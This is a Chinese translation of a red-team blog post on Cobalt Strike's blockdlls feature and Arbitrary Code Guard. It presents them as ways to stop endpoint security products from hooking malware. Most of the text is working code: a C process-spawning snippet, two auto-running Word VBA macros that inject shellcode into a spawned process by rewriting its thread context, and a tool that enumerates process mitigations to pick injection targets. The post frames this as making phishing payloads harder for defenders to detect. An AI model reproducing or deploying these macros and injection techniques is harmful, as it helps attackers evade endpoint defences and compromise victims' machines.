0x00 前言
最新版的Cobalt Strike中添加了blockdlls
命令,该命令可以避免生成的进程加载非微软签名的DLL,从而达到保护效果。这种方法可以阻止端点安全产品通过DLL加载用户模式代码,避免安全产品hook可疑函数并报告可疑操作。
经过一番讨论并在推特上探讨该命令的实现原理后,有小伙伴提出问题,想了解是否能不依赖Cobalt Strike来使用这种技术,因此在本文中我将进一步探索该功能,向大家介绍blockdlls
的内部工作原理、如何使用该方法在beacon启动前保护恶意软件,也探索了是否有其他进程安全选项,可以帮助我们防御端点安全产品的监听机制。
0x01 blockdlls原理
Cobalt Strike从3.14版本开始引入blockdlls
,该功能可以避免加载非微软签名的DLL,用来保护由beacon生成的任何子进程。为了利用该功能,我们可以在某个活动session上使用blockdlls
命令生成子进程(比如我们可以使用spawn
命令):
一旦子进程成功生成,我们可以通过ProcessHacker之类的工具查看子进程的保护状态:
设置该标志后,如果某个未经微软签名的DLL想载入当前进程,就会出现错误,我们可以看到比较详细的出错信息,如下所示:
那么Cobalt Strike如何实现该功能呢?如果我们分析CS beacon程序,可以找到其中引用了UpdateProcThreadAttribute
:
值为0x20007
的Attribute
参数实际上对应的是PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY
,而0x100000000000
参数值对应的是PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
。因此这里Cobalt Strike的处理逻辑就是配合STARTUPINFOEX
结构体来使用CreateProcess
API,该结构体中包含防御策略,可以用来阻止未经微软签名的DLL。
如果我们想在自己的工具中重新实现该代码,我们可以如下代码来完成:
#include <Windows.h>
int main()
{
STARTUPINFOEXA si;
PROCESS_INFORMATION pi;
SIZE_T size = 0;
BOOL ret;
// Required for a STARTUPINFOEXA
ZeroMemory(&si, sizeof(si));
si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
si.StartupInfo.dwFlags = EXTENDED_STARTUPINFO_PRESENT;
// Get the size of our PROC_THREAD_ATTRIBUTE_LIST to be allocated
InitializeProcThreadAttributeList(NULL, 1, 0, &size);
// Allocate memory for PROC_THREAD_ATTRIBUTE_LIST
si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)HeapAlloc(
GetProcessHeap(),
0,
size
);
// Initialise our list
InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
// Enable blocking of non-Microsoft signed DLLs
DWORD64 policy = PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON;
// Assign our attribute
UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, &policy, sizeof(policy), NULL, NULL);
// Finally, create the process
ret = CreateProcessA(
NULL,
(LPSTR)"C:\\Windows\\System32\\cmd.exe",
NULL,
NULL,
true,
EXTENDED_STARTUPINFO_PRESENT,
NULL,
NULL,
reinterpret_cast<LPSTARTUPINFOA>(&si),
&pi
);
}
现在我们已经知道Cobalt Strike对该功能的内部实现原理,但在实际渗透过程中,可能任意一个DLL就可以给我们造成阻碍。这里我们来看一下典型的钓鱼场景,在该场景中,我们尝试通过启用宏的文档来投递Cobalt Strike beacon:
红色区域为未受blockdlls
保护的进程,而在蓝色区域为经过Cobalt Strike保护所生成的子进程。这里我们显然会面临一些风险,比如安全产品可以将DLL载入红色区域进程中,从而监控我们的行为。
然而,如果我们使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
选项,就可以缩小这里的防护空白区域。在这个场景中,我们是在Word文档上下文中处理最初的payload,因此我们可以考虑将相应代码移植到VBA中:
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Type DWORD64
dwPart1 As Long
dwPart2 As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare0 As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByVal nSize As Long, _
ByVal lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Long, _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As Long
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim processPath As String
Dim val As DWORD64
Dim ctx As CONTEXT
Dim alloc As Long
Dim shellcode As Variant
Dim myByte As Long
' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn
processPath = "C:\\windows\\system32\\notepad.exe"
' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
val.dwPart1 = 0
val.dwPart2 = &H1000
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _
)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's
result = CreateProcess( _
nullStr, _
processPath, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Alloc memory (RWX for this POC, because... yolo) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _
)
' Write our shellcode
For offset = LBound(shellcode) To UBound(shellcode)
myByte = shellcode(offset)
result = WriteProcessMemory(pi.hProcess, alloc + offset, myByte, 1, ByVal 0&)
Next offset
' Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL
result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc
result = SetThreadContext(pi.hThread, ctx)
' Resume execution
ResumeThread (pi.hThread)
End Sub
正确使用后,我们可以缩小未经保护的区域,将访问范围限制到最初的执行向量中,从而减少被检测到的风险:
但现在Word进程还在红色区域中,如何处理?其实我们有各种方法,比如,我们可以使用ProcessSignaturePolicy
参数来调用SetMitigationPolicy
,这样就能在运行时引入防护策略,也就是说不需要通过CreateProcess
来重新执行。然而在这个时间节点,很可能有些DLL在我们的VBA运行之前已经加载到Word的地址空间中,如果我们想进一步控制该进程,触发某些可疑的API调用,就可能增加被检测到的风险。
大家可能会好奇标题中的ACG(Arbitrary Code Guard)是什么意思,这里稍微介绍下,ACG是另一种缓解机制,可以阻止代码修改以及/或者分配内存中的可执行页面。
为了实际演示这种缓解策略效果,我们可以创建一个小程序,尝试使用SetMitigationPolicy
来添加ACG,测试几个用例:
#include <iostream>
#include <Windows.h>
#include <processthreadsapi.h>
int main()
{
STARTUPINFOEX si;
DWORD oldProtection;
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY policy;
ZeroMemory(&policy, sizeof(policy));
policy.ProhibitDynamicCode = 1;
void* mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");
}
else {
printf("[*] RWX memory allocated: %p\n", mem);
}
printf("[*] Now running SetProcessMitigationPolicy to apply PROCESS_MITIGATION_DYNAMIC_CODE_POLICY\n");
// Set our mitigation policy
if (SetProcessMitigationPolicy(ProcessDynamicCodePolicy, &policy, sizeof(policy)) == false) {
printf("[!] SetProcessMitigationPolicy failed\n");
return 0;
}
// Attempt to allocate RWX protected memory (this will fail)
mem = VirtualAlloc(0, 1024, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("[!] Error allocating RWX memory\n");
}
else {
printf("[*] RWX memory allocated: %p\n", mem);
}
void* ntAllocateVirtualMemory = GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateVirtualMemory");
// Let's also try a VirtualProtect to see if we can update an existing page to RWX
if (!VirtualProtect(ntAllocateVirtualMemory, 4096, PAGE_EXECUTE_READWRITE, &oldProtection)) {
printf("[!] Error updating NtAllocateVirtualMemory [%p] memory to RWXn", ntAllocateVirtualMemory);
}
else {
printf("[*] NtAllocateVirtualMemory [%p] memory updated to RWX\n", ntAllocateVirtualMemory);
}
}
如果编译并执行该POC,我们可以看到如下输出结果:
这里可以看到,当使用SetProcessMitigationPolicy
后,如果尝试在内存中分配一个RWX页面就会出现错误,此外如果想调用VirtualProtect
来修改内存保护时也会出错,这一点与我们的预期相符。
那么我们为啥需要ACG?这是因为有些情况下,EDR注入的DLL的确经过微软签名,比如@Sektor7Net就提到过Crowdstrike Falcon包含这样一个DLL,该DLL并不会受PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
所影响:
许多EDR产品经常会在用户空间hook一些有趣的函数(大家可以参考我之前关于Cylance的一篇分析文章)。由于hook操作通常需要修改已有的可执行页面,因此需要使用VirtualProtect
之类的调用来更新内存保护。如果我们能够阻止这些产品创建RWX内存页面,我们有可能迫使经过微软签名的DLL无法成功加载。
为了能在我们的VBA代码中实现这种技术,我们只需要添加PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
选项,即可启动这种保护:
' POC to spawn process with PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON and PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON mitigation enabled
' by @_xpn_
'
' Thanks to https://github.com/itm4n/VBA-RunPE and https://github.com/christophetd/spoofing-office-macro
Const EXTENDED_STARTUPINFO_PRESENT = &H80000
Const HEAP_ZERO_MEMORY = &H8&
Const SW_HIDE = &H0&
Const MAX_PATH = 260
Const PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY = &H20007
Const MAXIMUM_SUPPORTED_EXTENSION = 512
Const SIZE_OF_80387_REGISTERS = 80
Const MEM_COMMIT = &H1000
Const MEM_RESERVE = &H2000
Const PAGE_READWRITE = &H4
Const PAGE_EXECUTE_READWRITE = &H40
Const CONTEXT_FULL = &H10007
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Private Type STARTUP_INFO
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As Byte
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type STARTUPINFOEX
STARTUPINFO As STARTUP_INFO
lpAttributelist As LongPtr
End Type
Private Type DWORD64
dwPart1 As Long
dwPart2 As Long
End Type
Private Type FLOATING_SAVE_AREA
ControlWord As Long
StatusWord As Long
TagWord As Long
ErrorOffset As Long
ErrorSelector As Long
DataOffset As Long
DataSelector As Long
RegisterArea(SIZE_OF_80387_REGISTERS - 1) As Byte
Spare0 As Long
End Type
Private Type CONTEXT
ContextFlags As Long
Dr0 As Long
Dr1 As Long
Dr2 As Long
Dr3 As Long
Dr6 As Long
Dr7 As Long
FloatSave As FLOATING_SAVE_AREA
SegGs As Long
SegFs As Long
SegEs As Long
SegDs As Long
Edi As Long
Esi As Long
Ebx As Long
Edx As Long
Ecx As Long
Eax As Long
Ebp As Long
Eip As Long
SegCs As Long
EFlags As Long
Esp As Long
SegSs As Long
ExtendedRegisters(MAXIMUM_SUPPORTED_EXTENSION - 1) As Byte
End Type
Private Declare PtrSafe Function CreateProcess Lib "kernel32.dll" Alias "CreateProcessA" ( _
ByVal lpApplicationName As String, _
ByVal lpCommandLine As String, _
lpProcessAttributes As Long, _
lpThreadAttributes As Long, _
ByVal bInheritHandles As Long, _
ByVal dwCreationFlags As Long, _
lpEnvironment As Any, _
ByVal lpCurrentDriectory As String, _
ByVal lpStartupInfo As LongPtr, _
lpProcessInformation As PROCESS_INFORMATION _
) As Long
Private Declare PtrSafe Function InitializeProcThreadAttributeList Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwAttributeCount As Integer, _
ByVal dwFlags As Integer, _
ByRef lpSize As Integer _
) As Boolean
Private Declare PtrSafe Function UpdateProcThreadAttribute Lib "kernel32.dll" ( _
ByVal lpAttributelist As LongPtr, _
ByVal dwFlags As Integer, _
ByVal lpAttribute As Long, _
ByVal lpValue As LongPtr, _
ByVal cbSize As Integer, _
ByRef lpPreviousValue As Integer, _
ByRef lpReturnSize As Integer _
) As Boolean
Private Declare Function WriteProcessMemory Lib "kernel32.dll" ( _
ByVal hProcess As LongPtr, _
ByVal lpBaseAddress As Long, _
ByRef lpBuffer As Any, _
ByVal nSize As Long, _
ByVal lpNumberOfBytesWritten As Long _
) As Boolean
Private Declare Function ResumeThread Lib "kernel32.dll" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Function GetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare Function SetThreadContext Lib "kernel32.dll" ( _
ByVal hThread As Long, _
lpContext As CONTEXT _
) As Long
Private Declare PtrSafe Function HeapAlloc Lib "kernel32.dll" ( _
ByVal hHeap As LongPtr, _
ByVal dwFlags As Long, _
ByVal dwBytes As Long _
) As LongPtr
Private Declare PtrSafe Function GetProcessHeap Lib "kernel32.dll" () As LongPtr
Private Declare Function VirtualAllocEx Lib "kernel32" ( _
ByVal hProcess As Long, _
ByVal lpAddress As Long, _
ByVal dwSize As Long, _
ByVal flAllocationType As Long, _
ByVal flProtect As Long _
) As Long
Sub AutoOpen()
Dim pi As PROCESS_INFORMATION
Dim si As STARTUPINFOEX
Dim nullStr As String
Dim pid, result As Integer
Dim threadAttribSize As Integer
Dim processPath As String
Dim val As DWORD64
Dim ctx As CONTEXT
Dim alloc As Long
Dim shellcode As Variant
Dim myByte As Long
' Shellcode goes here (jmp $)
shellcode = Array(&HEB, &HFE)
' Path of process to spawn
processPath = "C:\\windows\\system32\\notepad.exe"
' Initialize process attribute list
result = InitializeProcThreadAttributeList(ByVal 0&, 1, 0, threadAttribSize)
si.lpAttributelist = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, threadAttribSize)
result = InitializeProcThreadAttributeList(si.lpAttributelist, 1, 0, threadAttribSize)
' Specifies PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
' and PROCESS_CREATION_MITIGATION_POLICY_PROHIBIT_DYNAMIC_CODE_ALWAYS_ON
val.dwPart1 = 0
val.dwPart2 = &H1010
' Set our mitigation policy
result = UpdateProcThreadAttribute( _
si.lpAttributelist, _
0, _
PROC_THREAD_ATTRIBUTE_MITIGATION_POLICY, _
VarPtr(val), _
Len(val), _
ByVal 0&, _
ByVal 0& _
)
si.STARTUPINFO.cb = LenB(si)
si.STARTUPINFO.dwFlags = 1
' Spawn our process which will only allow MS signed DLL's and disallow dynamic code
result = CreateProcess( _
nullStr, _
processPath, _
ByVal 0&, _
ByVal 0&, _
1&, _
&H80014, _
ByVal 0&, _
nullStr, _
VarPtr(si), _
pi _
)
' Alloc memory (RWX for this POC, as this isn't blocked from alloc outside the process (and ... yolo)) in process to write our shellcode to
alloc = VirtualAllocEx( _
pi.hProcess, _
0, _
11000, _
MEM_COMMIT + MEM_RESERVE, _
PAGE_EXECUTE_READWRITE _
)
' Write our shellcode
For Offset = LBound(shellcode) To UBound(shellcode)
myByte = shellcode(Offset)
result = WriteProcessMemory(pi.hProcess, alloc + Offset, myByte, 1, ByVal 0&)
Next Offset
' Point EIP register to allocated memory
ctx.ContextFlags = CONTEXT_FULL
result = GetThreadContext(pi.hThread, ctx)
ctx.Eip = alloc
result = SetThreadContext(pi.hThread, ctx)
' Resume execution
ResumeThread (pi.hThread)
End Sub
这种方法对保护我们生成的进程非常有用,但如果我们希望将我们自己的代码注入受ACG保护的某个进程该如何处理?我经常听到一种误解,就是我们无法将代码注入被ACG保护的进程,因为我们需要可写且可执行的某种内存才能完成该操作。然而实际上ACG并不会阻止远程进程调用,比如VirtualAllocEx
之类的函数。
比如,如果我们使用一些简单的shellcode来启动cmd.exe
,然后将shellcode代码注入受ACG保护的某个进程,我们可以看到这些操作能顺利执行:
需要注意的是,由于需要依赖分配内存页面并将页面修改为RWX状态,因此目前这种方法无法适用于Cobalt Strike beacon。我尝试过通过其他选项来绕过这个限制(主要是各种userwx选项),但目前修改内存似乎还需要满足可写且后续可执行状态。
在将这些技术应用到实际环境中前,我们还需要考虑这种方式可能会对我们的操作安全性造成哪些影响。比如,如果我们开始生成任意进程,然后全部使用PROCESS_CREATION_MITIGATION_POLICY_BLOCK_NON_MICROSOFT_BINARIES_ALWAYS_ON
来保护这些进程,那么防御方可能会注意到突然出现的随机进程竟然已经部署了一些防护策略。
为了澄清如何更好地应用这种技术,我们需要枚举已有的哪些进程带有策略。现在我们可以使用Get-ProcessMitigation
Powershell cmdlet来返回注册表中定义的所有策略,然而我们知道有其他方法能够在运行时对进程启动保护机制,比如SetMitigationPolicy
API,我们也可以通过CreateProcessA
来简单生成任意进程(如前文所述)。
为了确保我们能够正确处理每个进程,我们可以构造一个简单的工具,使用GetProcessMitigationPolicy
来识别已部署的策略:
#include <iostream>
#include <Windows.h>
#include <tlhelp32.h>
#include <processthreadsapi.h>
bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege);
void GetProtection(int pid, const char *exe) {
PROCESS_MITIGATION_DYNAMIC_CODE_POLICY dynamicCodePolicy;
PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY signaturePolicy;
HANDLE pHandle = OpenProcess(PROCESS_QUERY_INFORMATION, false, pid);
if (pHandle == INVALID_HANDLE_VALUE) {
printf("[!] Error opening handle to %d\n", pid);
return;
}
// Actually retrieve the mitigation policy for ACG
if (!GetProcessMitigationPolicy(pHandle, ProcessDynamicCodePolicy, &dynamicCodePolicy, sizeof(dynamicCodePolicy))) {
printf("[!] Could not enum PID %d [%d]\n", pid, GetLastError());
return;
}
if (dynamicCodePolicy.ProhibitDynamicCode) {
printf("[%s] - ProhibitDynamicCode\n", exe);
}
if (dynamicCodePolicy.AllowRemoteDowngrade) {
printf("[%s] - AllowRemoteDowngrade\n", exe);
}
if (dynamicCodePolicy.AllowThreadOptOut) {
printf("[%s] - AllowThreadOptOut\n", exe);
}
// Retrieve mitigation policy for loading arbitrary DLLs
if (!GetProcessMitigationPolicy(pHandle, ProcessSignaturePolicy, &signaturePolicy, sizeof(signaturePolicy))) {
printf("Could not enum PID %d\n", pid);
return;
}
if (signaturePolicy.AuditMicrosoftSignedOnly) {
printf("[%s] AuditMicrosoftSignedOnly\n", exe);
}
if (signaturePolicy.AuditStoreSignedOnly) {
printf("[%s] - AuditStoreSignedOnly\n", exe);
}
if (signaturePolicy.MicrosoftSignedOnly) {
printf("[%s] - MicrosoftSignedOnly\n", exe);
}
if (signaturePolicy.MitigationOptIn) {
printf("[%s] - MitigationOptIn\n", exe);
}
if (signaturePolicy.StoreSignedOnly) {
printf("[%s] - StoreSignedOnly\n", exe);
}
}
int main()
{
HANDLE snapshot;
PROCESSENTRY32 ppe;
HANDLE accessToken;
if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &accessToken)) {
printf("[!] Error opening process token\n");
return 1;
}
// Provide ourself with SeDebugPrivilege to increase our enumeration chances
SetPrivilege(accessToken, SE_DEBUG_NAME);
// Prepare handle to enumerate running processes
snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPALL, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
printf("[!] Error: CreateToolhelp32Snapshot\n");
return 2;
}
ppe.dwSize = sizeof(PROCESSENTRY32);
Process32First(snapshot, &ppe);
do {
// Enumerate process mitigations
GetProtection(ppe.th32ProcessID, ppe.szExeFile);
} while (Process32Next(snapshot, &ppe));
}
bool SetPrivilege(HANDLE hToken, LPCTSTR lpszPrivilege) {
TOKEN_PRIVILEGES tp;
LUID luid;
if (!LookupPrivilegeValue(
NULL,
lpszPrivilege,
&luid))
{
printf("[!] LookupPrivilegeValue error: %u\n", GetLastError());
return FALSE;
}
tp.PrivilegeCount = 1;
tp.Privileges[0].Luid = luid;
tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
if (!AdjustTokenPrivileges(
hToken,
FALSE,
&tp,
sizeof(TOKEN_PRIVILEGES),
(PTOKEN_PRIVILEGES)NULL,
(PDWORD)NULL))
{
printf("[!] AdjustTokenPrivileges error: %u\n", GetLastError());
return FALSE;
}
return TRUE;
}
在我的Windows 10测试环境中运行该程序后,我找到了已部署防护措施的几个进程,如下所示:
这些进程大多属于Edge有关,这非常正常,但我们也有其他一些可选项,比如fontdrvhost.exe
及dllhost.exe
,这些进程可以作为目标。
希望本文能给大家提供一些思路,拓展生成并注入payload的方法,如果在实际环境中仔细使用,我相信这种技术能给防御方造成不少困扰。